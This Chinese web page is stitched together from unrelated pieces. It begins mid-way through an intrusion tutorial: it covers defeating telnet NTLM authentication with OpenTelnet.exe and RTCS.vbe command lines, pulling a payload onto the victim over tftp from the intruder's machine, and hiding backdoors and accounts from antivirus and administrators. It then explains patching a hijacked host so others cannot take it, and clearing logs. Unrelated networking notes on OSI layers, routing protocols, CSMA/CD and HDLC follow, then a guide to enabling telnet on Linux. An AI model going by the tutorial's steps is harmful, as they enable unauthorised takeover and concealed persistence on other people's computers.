=====================================
NTLM Authentication failed e to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:\>
\\仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫
所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:
1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)
基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式> <tlnet端口>
五 在telnet中该做什么
本来写到上面就想结束了,不过许多朋友都说telnet上去后不知道该做什么了,既然这样,那我就抛砖引玉吧,这次不讲具体做法,只是说说思路,什么?为什么不讲具体做法?篇幅不够嘛,以后我会一一解释的。
1 查看系统信息
呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。
2 使用tftp传送文件
想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用来传输文件。不过这样反而麻烦,既然我们已经得到了shell,我们可以用TFPT命令来完成这一切,什么是TFTP呢?
用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)
需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。
3 安置后门
安置后门放在第二步好像早了点,如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧。
后门的种类繁多,也给我们提供了很大的选择余地,能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:
1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。
2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。
3 不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。
4 打补丁
如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。
5 清除日志
可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。
六 结束语
文章的前部分主要说了一些原理性的东西,后部分则侧重于应用,写的多了难免会有些遗漏,如果你觉得哪里还需要补充,或者哪里不明白,请回帖告诉我哟!!
参考资料:http://www.xfocus.net/articles/200307/567.html
我转的帖子
Ⅳ 远程连接协议有哪些
物理层协议:802.11a(5ghz)IEEE802.15(蓝牙技术)IEEE802.16(固定宽带无线)IEEE802.3
数据链路层协议:IEEE802.3(以太网)、帧中继、ATM、IEEE802.11、HDLC
网络层协议:IP、ICMP、ARP
传输层协议:TCP、UDP
应用层协议:HTTP、HTTPS、SSH、SMTP、FTP、TFTP、TELNET
Ⅵ 远程配置网络设备时,网络管理员应使用哪种网络协议
常用协议。远程配置网络设备是通过Console端口直接访问Console端口是路由器和交换机设备的基本端口,网络管理员应使用常用网络协议,是我们对一台新的路由器或交换机配置时必须采用的一种方法,提供简单Web服务的能力,用户可以使用浏览器来访问和控制网络设备。
Ⅶ 常用的网络协议有哪些
一、OSI模型
名称 层次 功能
物理层 1 实现计算机系统与网络间的物理连接
数据链路层 2 进行数据打包与解包,形成信息帧
网络层 3 提供数据通过的路由
传输层 4 提供传输顺序信息与响应
会话层 5 建立和中止连接
表示层 6 数据转换、确认数据格式
应用层 7 提供用户程序接口
二、协议层次
网络中常用协议以及层次关系
1、 进程/应用程的协议
平时最广泛的协议,这一层的每个协议都由客程序和服务程序两部分组成。程序通过服务器与客户机交互来工作。常见协议有:Telnet、FTP、SMTP、HTTP、DNS等。
2、 主机—主机层协议
建立并且维护连接,用于保证主机间数据传输的安全性。这一层主要有两个协议:
TCP(Transmission Control Protocol:传输控制协议;面向连接,可靠传输
UDP(User Datagram Protocol):用户数据报协议;面向无连接,不可靠传输
3、 Internet层协议
负责数据的传输,在不同网络和系统间寻找路由,分段和重组数据报文,另外还有设备寻址。些层包括如下协议:
IP(Internet
Protocol):Internet协议,负责TCP/IP主机间提供数据报服务,进行数据封装并产生协议头,TCP与UDP协议的基础。
ICMP(Internet Control Message
Protocol):Internet控制报文协议。ICMP协议其实是IP协议的的附属协议,IP协议用它来与其它主机或路由器交换错误报文和其它的一些网络情况,在ICMP包中携带了控制信息和故障恢复信息。
ARP(Address Resolution Protocol)协议:地址解析协议。
RARP(Reverse Address Resolution Protocol):逆向地址解析协议。
OSI 全称(Open System Interconnection)网络的OSI七层结构2008年03月28日 星期五
14:18(1)物理层——Physical
这是整个OSI参考模型的最低层,它的任务就是提供网络的物理连接。所以,物理层是建立在物理介质上(而不是逻辑上的协议和会话),它提供的是机械和电气接口。主要包括电缆、物理端口和附属设备,如双绞线、同轴电缆、接线设备(如网卡等)、RJ-45接口、串口和并口等在网络中都是工作在这个层次的。
物理层提供的服务包括:物理连接、物理服务数据单元顺序化(接收物理实体收到的比特顺序,与发送物理实体所发送的比特顺序相同)和数据电路标识。
(2)数据链路层——DataLink
数据链路层是建立在物理传输能力的基础上,以帧为单位传输数据,它的主要任务就是进行数据封装和数据链接的建立。封装的数据信息中,地址段含有发送节点和接收节点的地址,控制段用来表示数据连接帧的类型,数据段包含实际要传输的数据,差错控制段用来检测传输中帧出现的错误。
数据链路层可使用的协议有SLIP、PPP、X.25和帧中继等。常见的集线器和低档的交换机网络设备都是工作在这个层次上,Modem之类的拨号设备也是。工作在这个层次上的交换机俗称“第二层交换机”。
具体讲,数据链路层的功能包括:数据链路连接的建立与释放、构成数据链路数据单元、数据链路连接的分裂、定界与同步、顺序和流量控制和差错的检测和恢复等方面。
(3)网络层——Network
网络层属于OSI中的较高层次了,从它的名字可以看出,它解决的是网络与网络之间,即网际的通信问题,而不是同一网段内部的事。网络层的主要功能即是提供路由,即选择到达目标主机的最佳路径,并沿该路径传送数据包。除此之外,网络层还要能够消除网络拥挤,具有流量控制和拥挤控制的能力。网络边界中的路由器就工作在这个层次上,现在较高档的交换机也可直接工作在这个层次上,因此它们也提供了路由功能,俗称“第三层交换机”。
网络层的功能包括:建立和拆除网络连接、路径选择和中继、网络连接多路复用、分段和组块、服务选择和流量控制。
(4)传输层——Transport
传输层解决的是数据在网络之间的传输质量问题,它属于较高层次。传输层用于提高网络层服务质量,提供可靠的端到端的数据传输,如常说的QoS就是这一层的主要服务。这一层主要涉及的是网络传输协议,它提供的是一套网络数据传输标准,如TCP协议。
传输层的功能包括:映像传输地址到网络地址、多路复用与分割、传输连接的建立与释放、分段与重新组装、组块与分块。
根据传输层所提供服务的主要性质,传输层服务可分为以下三大类:
A类:网络连接具有可接受的差错率和可接受的故障通知率(网络连接断开和复位发生的比率),A类服务是可靠的网络服务,一般指虚电路服务。
C类:网络连接具有不可接受的差错率,C类的服务质量最差,提供数据报服务或无线电分组交换网均属此类。
B类:网络连接具有可接受的差错率和不可接受的故障通知率,B类服务介于A类与C类之间,在广域网和互联网多是提供B类服务。
网络服务质量的划分是以用户要求为依据的。若用户要求比较高,则一个网络可能归于C型,反之,则一个网络可能归于B型甚至A型。例如,对于某个电子邮件系统来说,每周丢失一个分组的网络也许可算作A型;而同一个网络对银行系统来说则只能算作C型了。
(5)会话层——Senssion
会话层利用传输层来提供会话服务,会话可能是一个用户通过网络登录到一个主机,或一个正在建立的用于传输文件的会话。
会话层的功能主要有:会话连接到传输连接的映射、数据传送、会话连接的恢复和释放、会话管理、令牌管理和活动管理。
(6)表示层——Presentation
表示层用于数据管理的表示方式,如用于文本文件的ASCII和EBCDIC,用于表示数字的1S或2S补码表示形式。如果通信双方用不同的数据表示方法,他们就不能互相理解。表示层就是用于屏蔽这种不同之处。
表示层的功能主要有:数据语法转换、语法表示、表示连接管理、数据加密和数据压缩。
(7)应用层——Application
这是OSI参考模型的最高层,它解决的也是最高层次,即程序应用过程中的问题,它直接面对用户的具体应用。应用层包含用户应用程序执行通信任务所需要的协议和功能,如电子邮件和文件传输等,在这一层中TCP/IP协议中的FTP、SMTP、POP等协议得到了充分应用。
SNMP(Simple Network Management
Protocol,简单网络管理协议)的前身是简单网关监控协议(SGMP),用来对通信线路进行管理。随后,人们对SGMP进行了很大的修改,特别是加入了符合Internet定义的SMI和MIB:体系结构,改进后的协议就是着名的SNMP。SNMP的目标是管理互联网Internet上众多厂家生产的软硬件平台,因此SNMP受Internet标准网络管理框架的影响也很大。现在SNMP已经出到第三个版本的协议,其功能较以前已经大大地加强和改进了。
SNMP的体系结构是围绕着以下四个概念和目标进行设计的:保持管理代理(agent)的软件成本尽可能低;最大限度地保持远程管理的功能,以便充分利用Internet的网络资源;体系结构必须有扩充的余地;保持SNMP的独立性,不依赖于具体的计算机、网关和网络传输协议。在最近的改进中,又加入了保证SNMP体系本身安全性的目标。
OSPF(Open Shortest Path First开放式最短路径优先)是一个内部网关协议(Interior Gateway
Protocol,简称IGP),用于在单一自治系统(autonomous
system,AS)内决策路由。与RIP相对,OSPF是链路状态路由协议,而RIP是距离向量路由协议。
RIP(Routing information Protocol)是应用较早、使用较普遍的内部网关协议(Interior Gateway
Protocol,简称IGP),适用于小型同类网络,是典型的距离向量(distance-vector)协议。文档见RFC1058、RFC1723。
RIP通过广播UDP报文来交换路由信息,每30秒发送一次路由信息更新。RIP提供跳跃计数(hop
count)作为尺度来衡量路由距离,跳跃计数是一个包到达目标所必须经过的路由器的数目。如果到相同目标有二个不等速或不同带宽的路由器,但跳跃计数相同,则RIP认为两个路由是等距离的。RIP最多支持的跳数为15,即在源和目的网间所要经过的最多路由器的数目为15,跳数16表示不可达
CSMA/CD(Carrier Sense Multiple Access/Collision Detect)
即载波监听多路访问/冲突检测方法
一、基础篇:
是一种争用型的介质访问控制协议。它起源于美国夏威夷大学开发的ALOHA网所采用的争用型协议,并进行了改进,使之具有比ALOHA协议更高的介质利用率。
CSMA/CD控制方式的优点是:
原理比较简单,技术上易实现,网络中各工作站处于平等地位 ,不需集中控制,不提供优先级控制。但在网络负载增大时,发送时间增长,发送效率急剧下降。
CSMA/CD应用在 ISO7层里的数据链路层
它的工作原理是: 发送数据前 先监听信道是否空闲 ,若空闲
则立即发送数据.在发送数据时,边发送边继续监听.若监听到冲突,则立即停止发送数据.等待一段随即时间,再重新尝试.
二、进阶篇:
CSMA/CD控制规程:
控制规程的核心问题:解决在公共通道上以广播方式传送数据中可能出现的问题(主要是数据碰撞问题)
控制过程包含四个处理内容:侦听、发送、检测、冲突处理
(1) 侦听:
通过专门的检测机构,在站点准备发送前先侦听一下总线上是否有数据正在传送(线路是否忙)?
若“忙”则进入后述的“退避”处理程序,进而进一步反复进行侦听工作。
若“闲”,则一定算法原则(“X坚持”算法)决定如何发送。
(2) 发送:
当确定要发送后,通过发送机构,向总线发送数据。
(3) 检测:
数据发送后,也可能发生数据碰撞。因此,要对数据边发送,边接收,以判断是否冲突了。(参5P127图)
(4)冲突处理:
当确认发生冲突后,进入冲突处理程序。有两种冲突情况:
① 侦听中发现线路忙
② 发送过程中发现数据碰撞
① 若在侦听中发现线路忙,则等待一个延时后再次侦听,若仍然忙,则继续延迟等待,一直到可以发送为止。每次延时的时间不一致,由退避算法确定延时值。
② 若发送过程中发现数据碰撞,先发送阻塞信息,强化冲突,再进行侦听工作,以待下次重新发送(方法同①)
面向比特的协议中最有代表性的是IBM的同步数据链路控制规程SDLC(Synchronous Data Link Control),国际标准化组织ISO
(International Standards Organization)的高级数据链路控制规程HDLC(High Level Data Link
Control),美国国家标准协会(American National Standar ds Institute )的先进数据通信规程ADCCP (
Advanced Data Communications Control
Procere)。这些协议的特点是所传输的一帧数据可以是任意位,而且它是靠约定的位组合模式,而不是靠特定字符来标志帧的开始和结束,故称"面向比特"的协议。
二.帧信息的分段
SDLC/HDLC的一帧信息包括以下几个场(Field),所有场都是从最低有效位开始传送。
1. SDLC/HDLC标志字符
SDLC/HDLC协议规定,所有信息传输必须以一个标志字符开始,且以同一个字符结束。这个标志字符是01111110,称标志场(F)。从开始标志到结束标志之间构成一个完整的信息单位,称为一帧(Frame)。所有的信息是以帧的形式传输的,而标志字符提供了每一帧的边界。接收端可以通过搜索"01111110"来探知帧的开头和结束,以此建立帧同步。
2.地址场和控制场
在标志场之后,可以有一个地址场A(Address)和一个控制场C(Contro1)。地址场用来规定与之通信的次站的地址。控制场可规定若干个命令。SDLC规定A场和C场的宽度为8位。HDLC则允许A场可为任意长度,C场为8位或16位。接收方必须检查每个地址字节的第一位,如果为"0",则后边跟着另一个地址字节;若为"1",则该字节就是最后一个地址字节。同理,如果控制场第一个字节的第一位为"0",则还有第二个控制场字节,否则就只有一个字节。
3.信息场
跟在控制场之后的是信息场I(Information)。I场包含有要传送的数据,亦成为数据场。并不是每一帧都必须有信息场。即信息场可以为0,当它为0时,则这一帧主要是控制命令。
4.帧校验场
紧跟在信息场之后的是两字节的帧校验场,帧校验场称为FC(Frame Check)场, 校验序列FCS(Frame check
Sequence)。SDLC/HDLC均采用16位循环冗余校验码CRC (Cyclic Rendancy
Code),其生成多项式为CCITT多项式X^16+X^12+X^5+1。除了标志场和自动插入的"0"位外,所有的信息都参加CRC计算。
CRC的编码器在发送码组时为每一码组加入冗余的监督码位。接收时译码器可对在纠错范围内的错码进行纠正,对在校错范
围内的错码进行校验,但不能纠正。超出校、纠错范围之外的多位错误将不可能被校验发现 。
三.实际应用时的两个技术问题
1."0"位插入/删除技术
如上所述,SDLC/HDLC协议规定以01111110为标志字节,但在信息场中也完全有可能有同一种模式的字符,为了把它与标志区分开来,所以采取了"0"位插入和删除技术。具体作法是发送端在发送所有信息(除标志字节外)时,只要遇到连续5个"1",就自动插入一个"0"当接收端在接收数据时(除标志字节)如果连续接收到5个"1",就自动将其后的一个"0"删除,以恢复信息的原有形式。这种"0"位的插入和删除过程是由硬件自动完成的,比上述面向字符的"数据透明"容易实现。
2. SDLC/HDLC异常结束
若在发送过程中出现错误,则SDLC/HDLC协议用异常结束(Abort)字符,或称失效序列使本帧作废。在HDLC规程中7个连续的"1"被作为失效字符,而在SDLC中失效字符是8个连续的"1"。当然在失效序列中不使用"0"位插入/删除技术。
SDLC/HDLC协议规定,在一帧之内不允许出现数据间隔。在两帧信息之间,发送器可以连续输出标志字符序列,也可以输出连续的高电平,它被称为空闲(Idle)信号。
Ⅷ 如何在Windows系统上利用Telnet协议连接Linux服务器
如何利用Telnet连接Linux服务器?Telnet协议是Internet远程登录服务的标准协议,它为用户提供了在本地计算机上完成远程主机工作的能力。很多终端使用者都习惯在计算机上利用Telnet会话来远程控制服务器,下面分享连接方法 Telnet协议是Internet远程登录服务的标准协议,它为用户提供了在本地计算机上完成远程主机工作的能力。很多终端使用者都习惯在计算机上利用Telnet会话来远程控制服务器。这里小编就分两步为大家演示如何在Windows系统上利用Telnet协议连接Linux服务器。 步骤一:在Windows系统上打开Telnet功能; 步骤二:在Linux系统上启用Telnet服务。 步骤一:Windows终端开启Telnet功能 1/由于在Windows Vista之后的版本默认并没有提供Telnet功能。如果需要使用Telnet就必须打开此项功能。以Windows7为例,首先打开控制面板。 2/然后在控制面板中打开“程序和功能”。 3/再在左上角点击“打开或关闭Windows功能”。 4/在“打开或关闭Windows功能”对话框中勾选“Telnet客户端”,点击确定,系统会自动安装。到此Windows终端的工作已经完成。 步骤二:Linux服务器开启Telnet服务 1、许多Linux系统在默认情况下是不安装Telnet服务的,如果需要使用就必须安装此项服务。安装的方法有很多,小编在这里只介绍yum安装Telnet服务,它的优点是能够自动检查安装包的依赖文件不用人为干预,当然前提是系统必须联网。在提示符下输入“yum install -y telnet-server”命令安装Telnet服务。最后出现Complete,代表安装完成。 2、使用命令“vi/etc/xinetd.d/telnet”编辑Telnet的配置文件,将disable的值改成no。 3、重启启动xinetd服务,使得telnet配置生效。 4、在Linux服务器上打开Telnet协议的23端口。使用命令“vi/etc/sysconfig/iptables”添加红框内的代码,保存。 5、重新启动iptables,使得防火墙策略生效。 6、在Windows上,用“telnet IP地址”命令,再输入用户名和密码,就可以完成Linux服务器的远程登录。